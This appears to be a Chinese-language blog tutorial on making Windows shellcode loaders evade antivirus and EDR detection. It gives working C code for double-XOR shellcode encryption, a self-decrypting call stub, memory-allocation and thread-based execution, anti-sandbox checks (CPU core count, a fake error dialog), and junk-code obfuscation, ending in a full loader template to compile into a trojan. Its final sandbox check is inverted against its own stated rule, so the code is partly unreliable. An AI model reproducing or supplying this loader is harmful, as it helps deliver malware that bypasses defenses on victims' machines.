0x00 前言
免杀是同所有的检测手段的对抗,目前免杀的思路比较多。本篇介绍了一个独特的思路,通过内存解密恶意代码执行,解决了内存中恶意代码特征的检测。同时提出了one click来反沙箱的思路,阐述了一些混淆反编译的想法。
0x01 声明
请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。
一切未经授权的网络攻击均为违法行为,互联网非法外之地。
本篇文章不涉及商业秘密,使用的技术是公知技术,可以从公共渠道学习对应技术。本文描述的技术思路具有一定时效性,但拓展性强,变化能力强,上限高,其性质更贴切于抛砖引玉、讨论学习。
商业转载请联系作者获得授权,非商业转载请注明出处。
0x02 流程
- 通过双重 xor 对shellcode进行加密
- 申请内存执行指定命令
- 通过计算地址执行解密函数指令后执行shellcode
效果:
0x03 免杀制作思路
1、静态免杀
杀软是通过标记特征进行木马查杀的,我们可以通过加解密的方式来隐藏我们的恶意代码。加密的方式非常多,最常用的是xor双加密,除此之外你还可以使用AES、SM4等对称加密,也可以使用SM9、RSA等非对称加密。
使用双重xor的方式进行加密,其中^6^184
,6和184就是两个key。
unsigned char shellcode[] = "";
void encrypt(){ for(int j = 0;j<sizeof(shellcode);j++) { *(unsigned char*)&shellcode[j] = *(unsigned char*)&shellcode[j]^6^184; printf("\\x%02x",*(unsigned char*)&shellcode[j]); } }
|
解密的方式就是将两个key反过来异或。
void decrypt() { for(int i = 5;i<sizeof(shellcode);i++) { ((char*)p)[i] = ((char*)p)[i]^184^6; } }
|
2、动态免杀
内存解密恶意代码
恶意代码检测的方式非常之多,如EDR常用的特征检测、HOOK常用API、检测父子进程关系等方式。尽管我们已经使用了加密的方式绕过了静态检测,但在内存中解密后的明文恶意代码仍然很容易被检测出来,尤其是在我们调用解密函数返回之后。针对这个问题,我们可以尝试将加密后的恶意代码和解密的指令一同写入到内存中执行,完成shellcode的自动解密,在很多时候这样可以绕过检测。
原理是在真正的shellcode执行之前通过call
指令跳到我们想跳的地方去,比如到刚才的解密函数:
unsigned char shellcode[] = "\xe8\x2b\x10\x06\x00......<真正的加密后的shellcode>"
|
在经过加密后的shellcode之前插入一条call
指令,可以是直接call e8
或间接call ff15
,当然使用jmp
或jcc
等其他的方式也可以,目的是跳转到我们的解密函数,当解密函数执行完并返回之后,e8 call
后的shellcode已经完成了解密,继续跑下去就可以正常执行恶意代码了。
那么现在问题在于如何构建我们的e8 call
指令,我们可以参考Intel的白皮书:
e8 call
的格式是CALL Jz
,那么这里的f64
和Jz
是什么意思呢,继续翻官方文档:
简而言之就是对于e8
这样的操作码,当在CPU是64位模式下的时候,操作数会被强制为64位的,由于我们现在是运行在32位的模式下,这点我们先不关注;e8
后应该跟上一个32位的相对偏移,通过当前下一条指令的地址加上这个偏移,才是CPU在解析e8这条指令的时候,该跳转的函数地址。
偏移计算方式
那么我们可以在调用shellcode的代码处下个断点,通过在反汇编里分别查看decrypt函数以及e8 call
下一条指令的地址,进而算出这里我们需要的相对偏移,也就是decrypt函数的地址-e8下一条指令的地址
:
最后将算出的四字节偏移填充到e8
后面就好了,比如我这里按照Windows的小端存储方式,最后的结果就应该是e8 2b 10 06 00
:
至此,我们完成了自己调用解密函数,对自己进行解密的完整代码编写。
恶意代码加载方式
创建线程加载
动态涉及到了shellcode的加载方式。这里我选择使用创建线程的方式加载。
1、创建 ThreadProc 函数
DWORD WINAPI ThreadProc(LPVOID lpParameter) { //申请内存 if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { return 1; }
//复制shellcode if (!(memcpy(p, shellcode, sizeof(shellcode)))) { return 1; }
//函数指针赋值 CODE code = (CODE)p; //调用 code(); return 0; }
|
2、 通过 CreateThread
函数创建线程并执行线程函数ThreadProc
。
void main(int argc, char* argv[]) { HANDLE hThread = ::CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); ::CloseHandle(hThread); }
|
主线程加载
加载shellcode的方式是一样的,但是这里没有启动新线程,容易造成主线程卡死。
unsigned char shellcode[] = "";
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)();
|
内联加载
通过 asm 方法内联写入汇编指令。
通常我们可以使用__asm来书写。
这种方式的好处是不需要调用VirtualAlloc
API,但缺点是很容易识别成特征。
#include <Windows.h> #include <stdio.h>
int main() { printf("spotless"); asm(".byte 0x90,0x90,0x90,0x90\n\t" "ret\n\t"); return 0; }
|
参考:CreateRemoteThread Shellcode Injection - Red Team Notes
3、反沙箱
根据程序运行环境判断是否存在沙箱环境:
开机时间、内存大小、磁盘大小、CPU核心数量、CPU温度...
代码可以参考:CheckVM-Sandbox、anti-sandbox
这些都是自动检测,我们也可以使用主动的方式绕过沙箱,例如延迟执行、弹窗确认
弹窗确认
要求用户必须进行操作才能进行下一步执行。弹窗就是一个很好的例子,点开后不关闭或者点击确认操作就不会继续执行程序。沙箱没有自动模拟点击的情况下,程序就不会执行,恶意代码就不会释放。
#include <windows.h>
void main(int argc, char* argv[]) { MessageBox(NULL, "文件损坏", "错误", MB_RETRYCANCEL | MB_ICONWARNING); ... }
|
在main函数里使用MessageBox
CPU 内核数量检测
规则:处理器数量少于4个时,我们断言它是沙箱环境。
API获取
想要获取有关系统硬件和资源的信息,我们可以使用kernel32.dll
中的GetSystemInfo
函数。
它会返回指向 SYSTEM_INFO
结构体的指针,它的结构体定义如下:
typedef struct _SYSTEM_INFO { union { DWORD dwOemId; struct { WORD wProcessorArchitecture; WORD wReserved; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; DWORD dwPageSize; LPVOID lpMinimumApplicationAddress; LPVOID lpMaximumApplicationAddress; DWORD_PTR dwActiveProcessorMask; DWORD dwNumberOfProcessors; DWORD dwProcessorType; DWORD dwAllocationGranularity; WORD wProcessorLevel; WORD wProcessorRevision; } SYSTEM_INFO, *LPSYSTEM_INFO;
|
wProcessorArchitecture
: 处理器架构(x86、x64 等)。
dwNumberOfProcessors
: 系统中的处理器数量。
void CheckCPU() { SYSTEM_INFO systemInfo; GetSystemInfo(&systemInfo);
if (systemInfo.dwNumberOfProcessors <= 4) { ExitProcess(61); } }
|
偏移获取
相对于API获取,这种方式不容易检测。
注意使用__asm
嵌入汇编语言只能在x86
位下编译。
主要原理是获取 PEB 结构体中的NumberOfProcessors
字段值来进行判断。它在结构体中偏移量为0x64
。
部分PEB偏移对应变量:
... /*058*/ ULONG AnsiCodePageData; /*05C*/ ULONG OemCodePageData; /*060*/ ULONG UnicodeCaseTableData; /*064*/ ULONG NumberOfProcessors; /*068*/ LARGE_INTEGER NtGlobalFlag; // Address of a local copy /*070*/ LARGE_INTEGER CriticalSectionTimeout; /*078*/ ULONG HeapSegmentReserve; ...
|
检测代码实现:
BOOL checkCPUCores() { INT i = 0; _asm { mov eax, dword ptr fs:[0x18]; // 获取 FS 寄存器中的 TEB (Thread Environment Block) 结构体地址 mov eax, dword ptr ds:[eax + 0x30]; // 获取 PEB (Process Environment Block) 结构体地址 mov eax, dword ptr ds:[eax + 0x64]; // 获取 PEB 结构体中的 NumberOfProcessors 字段值 mov i, eax; // 将 NumberOfProcessors 值赋给变量 i } return i <= 4; // 返回是否处理器核心数量小于或等于 4 }
|
PEB结构体可以看:PEB结构
4、混淆反编译
垃圾函数
顾名思义,我们可以在shellcode加载器里添加各种垃圾函数。这些垃圾函数最好对堆栈有较大的影响,在我们学习C语言时最常见的就是排序,下面列举了快速排序和冒泡排序。
void quickSort(int arr[], int left, int right) { int i = left, j = right; int tmp; int pivot = arr[(left + right) / 2];
while (i <= j) { while (arr[i] < pivot) i++; while (arr[j] > pivot) j--; if (i <= j) { tmp = arr[i]; arr[i] = arr[j]; arr[j] = tmp; i++; j--; } }
if (left < j) quickSort(arr, left, j); if (i < right) quickSort(arr, i, right); }
void bubbleSort(int arr[], int n) { for (int i = 0; i < n - 1; i++) { for (int j = 0; j < n - i - 1; j++) { if (arr[j] > arr[j + 1]) { int k = arr[j]; arr[j] = arr[j + 1]; arr[j + 1] = k; } } } }
|
然后我们在代码中以代码块的方式贴入垃圾代码。
void main() { { int huaarr[] = { 12, 12, 15, 11, 1, 10, 13 }; int huan = sizeof(huaarr) / sizeof(huaarr[0]);
bubbleSort(huaarr, huan); } // // 这里输入自己的代码 // { int huaarr[] = { 12, 12, 15, 11, 1, 10, 13 }; int huan = sizeof(huaarr) / sizeof(huaarr[0]);
bubbleSort(huaarr, huan); } }
|
0x04 代码
使用该代码的流程:
- 使用加密函数加密shellcode
- 将shellcode填充到
"\xe8\x2b\x10\x06\x00"
字符常量的后面
- 编译生成木马exe
#include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//隐藏控制台
typedef void (*CODE)(); /* length: 844 bytes */ //0xe8, 0x2b, 0x10, 0x06, 0x00,... unsigned char shellcode[] = "\xe8\x2b\x10\x06\x00";
PVOID p = NULL;
void decrypt() { //解密Shellcode for(int i = 5;i<sizeof(shellcode);i++) { ((char*)p)[i] = ((char*)p)[i]^184^6; } }
// 检查CPU核心数 // SYSTEM_INFO.dwNumberOfProcessors INT checkCPUCores(INT cores) { INT i = 0; _asm { // x64编译模式下不支持__asm的汇编嵌入 mov eax, dword ptr fs : [0x18]; // TEB mov eax, dword ptr ds : [eax + 0x30]; // PEB mov eax, dword ptr ds : [eax + 0x64]; mov i, eax; } return i; }
DWORD WINAPI ThreadProc( LPVOID lpParameter // thread data ) {
//申请内存 if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { //MessageBoxW(NULL, L"VirtualAlloc Failed!!!", L"Prompt", MB_OK); return 1; }
//复制shellcode if (!(memcpy(p, shellcode, sizeof(shellcode)))) { //MessageBoxW(NULL, L"WriteMemory Failed!!!", L"Prompt", MB_OK); return 1; }
//函数指针赋值 CODE code = (CODE)p;
//调用 code();
return 0; }
int main(int argc, char* argv[]) {
//检查CPU核心数,判断是否是沙箱 INT cores = checkCPUCores(4); if (cores <= 4) { //((void(*)(void))&shellcode)(); //函数指针执行ShellCode //创建一个新的线程 HANDLE hThread = ::CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); //如果不在其他的地方,关闭句柄 ::CloseHandle(hThread); } while(1) { OutputDebugString("Hello World!\n");//打印调试信息 } return 0; }
|
0x05 总结
本篇介绍的方法,类似于写入汇编指令,只不过 call 调用的地址需要我们自己去计算,如果代码存在变动(汇编指令增加)的情况,如增加全局变量,那么需要重新计算解密函数的地址。虽然麻烦,但很灵活,学习成本较低,效果明显。